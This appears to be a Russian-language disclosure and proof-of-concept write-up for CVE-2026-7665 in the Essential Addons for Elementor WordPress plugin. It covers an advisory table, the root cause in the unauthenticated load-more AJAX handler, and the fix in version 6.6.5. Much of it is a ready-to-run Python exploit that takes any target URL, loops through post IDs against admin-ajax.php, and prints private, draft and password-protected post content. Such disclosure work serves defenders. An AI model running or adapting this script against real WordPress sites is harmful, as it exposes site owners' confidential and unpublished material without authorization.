
Доказательство концепции эксплуатации для CVE-2026-7665, неаутентифицированного раскрытия информации в Essential Addons for Elementor, позволяющего извлекать приватные, черновые и защищённые паролем записи WordPress.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-7665 |
| Серьезность | Средний |
| Оценка CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Затронутый плагин | Essential Addons for Elementor |
| Затронутые версии | ≤ 6.6.4 |
| Активные установки | 1,000,000+ |
| CVE назначен | Wordfence (CNA) |
| Раскрыто | Июнь 2026 |
| Исследователь | Anirudh Makkar |
AJAX-обработчик ajax_load_more в Essential Addons for Elementor не проверял видимость записей перед возвратом содержимого. Это позволяло неавторизованным злоумышленникам читать частные, защищенные паролем и черновики записей WordPress, отправляя специально сформированный запрос к wp-admin/admin-ajax.php — без аутентификации или nonce.
Плагин регистрирует обработчик на хуке действия wp_ajax_nopriv_eael_post_grid_load_more, делая его доступным для неавторизованных посетителей. Когда этот обработчик выполняет WP_Query для получения записей для функции пагинации "load more", он не вызывает current_user_can('read_post', $post_id) и не проверяет get_post_status() на соответствие правам запрашивающего пользователя.
Ядро WordPress полагается на плагины в вопросах авторизации на уровне записей в AJAX-обработчиках — оно не делает это автоматически. Отсутствие этой проверки означает, что обработчик возвращает полное содержимое записи независимо от настроек ее видимости.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
Неавторизованный злоумышленник может перечислить и прочитать:
Это может раскрыть конфиденциальное деловое содержимое, неопубликованные объявления, внутреннюю документацию, опубликованную как записи WordPress, или любые другие непубличные материалы, управляемые через редактор WordPress.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Обновите Essential Addons for Elementor до версии 6.6.5 или новее.
Исправление добавляет проверку current_user_can('read_post', $post_id) внутри обработчика load-more перед включением любой записи в результаты запроса.
Сообщил Anirudh Makkar · LinkedIn